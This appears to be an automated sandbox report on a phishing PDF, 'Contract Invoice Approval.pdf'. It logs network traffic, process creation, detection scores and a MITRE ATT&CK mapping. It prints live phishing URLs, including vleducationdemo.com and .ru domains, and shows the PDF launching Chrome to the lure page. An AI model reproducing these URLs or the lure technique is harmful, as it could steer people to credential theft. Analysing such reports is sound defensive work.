Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 21 Mar 2025 06:03:19 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yHCC%2F59hrgy0Mmy3EywNxrmssdmstF3vlyA4yr4dQxdofaxoY44Ew5kZ%2BI4knT%2BgBv%2B6XPR4QU2FeTlJvCfQg%2BYSgMMEw2WkHT2ncpg73FEIgGlC3%2BKnETtjeQxRtZMj%2Fqjq"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=8512&min_rtt=8466&rtt_var=3208&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2046&delivery_rate=336404&cwnd=252&unsent_bytes=0&cid=ce72678dd330a6f6&ts=310&x=0"Server: cloudflareCF-RAY: 923b3ed3e9460f3e-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=98039&min_rtt=97544&rtt_var=21322&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1707&delivery_rate=37613&cwnd=242&unsent_bytes=0&cid=9b971694ad0f8f13&ts=642&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 21 Mar 2025 06:03:19 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeServer: cloudflareReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=stBnpGPyd0SgX45q8ud%2F08s05r2A%2Bz0iG7rJJ8cLyZgqu614tGtOhp9OiooiWSmUZPBQSEMsAy2AM0C%2FHUjIrlVLN%2F%2Bl7YSoK3ZFewSg3KcfRJQTPgGOoYcEN0JfsFrndDzw"}],"group":"cf-nel","max_age":604800}Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-EncodingServer-Timing: cfL4;desc="?proto=TCP&rtt=8507&min_rtt=8482&rtt_var=3199&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2243&delivery_rate=335769&cwnd=97&unsent_bytes=0&cid=fff0c66c182a0c83&ts=348&x=0"Cache-Control: max-age=14400Cf-Cache-Status: MISSCF-RAY: 923b3ed6cb451835-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 21 Mar 2025 06:03:20 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=H7IQXm9BGFCKGIrpkmU0OkpxSkSsRhIPaO7XFWEQWI0EdmSRJg5QvenDwgGuddH44x7BYurJ%2F1ZC4Eul02pvGdleLB79KrQz%2B3rNAIgZR13zTkRG1vEi86DMya63ooamVi1y"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=8682&min_rtt=8647&rtt_var=3268&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2066&delivery_rate=329362&cwnd=252&unsent_bytes=0&cid=7b71f2c041b29c94&ts=314&x=0"Server: cloudflareCF-RAY: 923b3edbb8beed71-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=97799&min_rtt=97187&rtt_var=21317&sent=7&recv=8&lost=0&retrans=1&sent_bytes=4065&recv_bytes=1727&delivery_rate=9706&cwnd=246&unsent_bytes=0&cid=90741891f61c8e9d&ts=778&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 21 Mar 2025 06:03:23 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeServer: cloudflareCf-Cache-Status: DYNAMICVary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YlTCweSe1OHLwDdYY6qPMEbHLtBI6Jw8JIU4SFUa3uYovyutDv21uVhmNUmvGhwAWstvW1KTkpsNacTgJc8%2F32lz1lp9JoZDqy8rufJtwhqwBVKWKtjVBLeCqC4PwRTSOfNh"}],"group":"cf-nel","max_age":604800}Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server-Timing: cfL4;desc="?proto=TCP&rtt=8528&min_rtt=8483&rtt_var=3213&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2062&delivery_rate=335730&cwnd=252&unsent_bytes=0&cid=db3677b1b1dc6006&ts=311&x=0"CF-RAY: 923b3eee6eb7b432-EWRalt-svc: h3=":443"; ma=86400

Source: 77EC63BDA74BD0D0E0426DC8F80085060.1.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: chromecache_183.15.dr	String found in binary or memory: http://github.com/fent/randexp.js/raw/master/LICENSE
Source: 2D85F72862B55C4EADD9E66E06947F3D0.1.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: chromecache_176.15.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js
Source: 9f594776-71bf-4287-a1c3-d634ea3d0aa7.tmp.2.dr, b13a336e-46c9-4ce3-a5ce-4f48012e610d.tmp.2.dr	String found in binary or memory: https://chrome.cloudflare-dns.com
Source: chromecache_183.15.dr	String found in binary or memory: https://github.com/fent)
Source: Contract Invoice Approval.pdf	String found in binary or memory: https://vleducationdemo.com/cllascio.php?342d3638373437343730373333613266326635613539333737613265363
Source: chromecache_170.15.dr	String found in binary or memory: https://www.flipkart.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49673
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49679 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 104.168.69.110:443 -> 192.168.2.16:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.168.69.110:443 -> 192.168.2.16:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.168.69.110:443 -> 192.168.2.16:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.16:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.183.99:443 -> 192.168.2.16:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.183.99:443 -> 192.168.2.16:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.16:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.130.137:443 -> 192.168.2.16:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.100:443 -> 192.168.2.16:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.16:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.6.189:443 -> 192.168.2.16:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.109:443 -> 192.168.2.16:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.215.247:443 -> 192.168.2.16:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.18.216:443 -> 192.168.2.16:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.113.3:443 -> 192.168.2.16:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.91:443 -> 192.168.2.16:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.91:443 -> 192.168.2.16:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.16:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.91:443 -> 192.168.2.16:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.91:443 -> 192.168.2.16:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49798 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir7648_1492033540

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir7648_1492033540

Jump to behavior

Source: classification engine

Classification label: mal100.phis.evad.winPDF@36/128@35/17

Source: Contract Invoice Approval.pdf

Initial sample: https://vleducationdemo.com/cllascio.php?342d363837343734373037333361326632663561353933373761326536363664363137393664376136613730326537323735326636363439363336313465363437353532363537303631353332662d

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7072

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-03-21 02-02-22-221.log

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: Contract Invoice Approval.pdf	Virustotal: Detection: 32%
Source: Contract Invoice Approval.pdf	ReversingLabs: Detection: 40%

Source: unknown	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Contract Invoice Approval.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2256 --field-trial-handle=1568,i,5754402613691003974,8226916317121868379,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://vleducationdemo.com/cllascio.php?342d363837343734373037333361326632663561353933373761326536363664363137393664376136613730326537323735326636363439363336313465363437353532363537303631353332662d
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2132,i,2810463992544294309,8181193124559721345,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2164 /prefetch:3
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://vleducationdemo.com/cllascio.php?342d363837343734373037333361326632663561353933373761326536363664363137393664376136613730326537323735326636363439363336313465363437353532363537303631353332662d	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2256 --field-trial-handle=1568,i,5754402613691003974,8226916317121868379,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2132,i,2810463992544294309,8181193124559721345,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2164 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Contract Invoice Approval.pdf	Initial sample: PDF keyword /JS count = 0
Source: Contract Invoice Approval.pdf	Initial sample: PDF keyword /JavaScript count = 0

Source: Contract Invoice Approval.pdf

Initial sample: PDF keyword /EmbeddedFile count = 0

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiDebug via timestamp check

Source: Yara match	File source: 2.13..script.csv, type: HTML
Source: Yara match	File source: 1.4.d.script.csv, type: HTML
Source: Yara match	File source: 2.14..script.csv, type: HTML
Source: Yara match	File source: 2.4.pages.csv, type: HTML
Source: Yara match	File source: 2.3.pages.csv, type: HTML

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Process information queried: ProcessInformation

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	1 Spearphishing Link	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	11 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	1 Extra Window Memory Injection	1 Process Injection	LSASS Memory	1 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File Deletion	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Extra Window Memory Injection	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Contract Invoice Approval.pdf	33%	Virustotal		Browse
Contract Invoice Approval.pdf	41%	ReversingLabs	Document-PDF.Trojan.Heuristic
Contract Invoice Approval.pdf	100%	Avira	TR/AVI.PhishingX.eqxeg

Source	Detection	Scanner	Label
https://zy7z.fmaymzjp.ru/ghu4jUXy2XLxgai6y6Bc0uWtGX3rjmn2YVrybHZ92Fm5LVcaogGGyaD7ef206	0%	Avira URL Cloud	safe
https://zy7z.fmaymzjp.ru/abkqeHN7EYNpOpq1CDQcd30	0%	Avira URL Cloud	safe
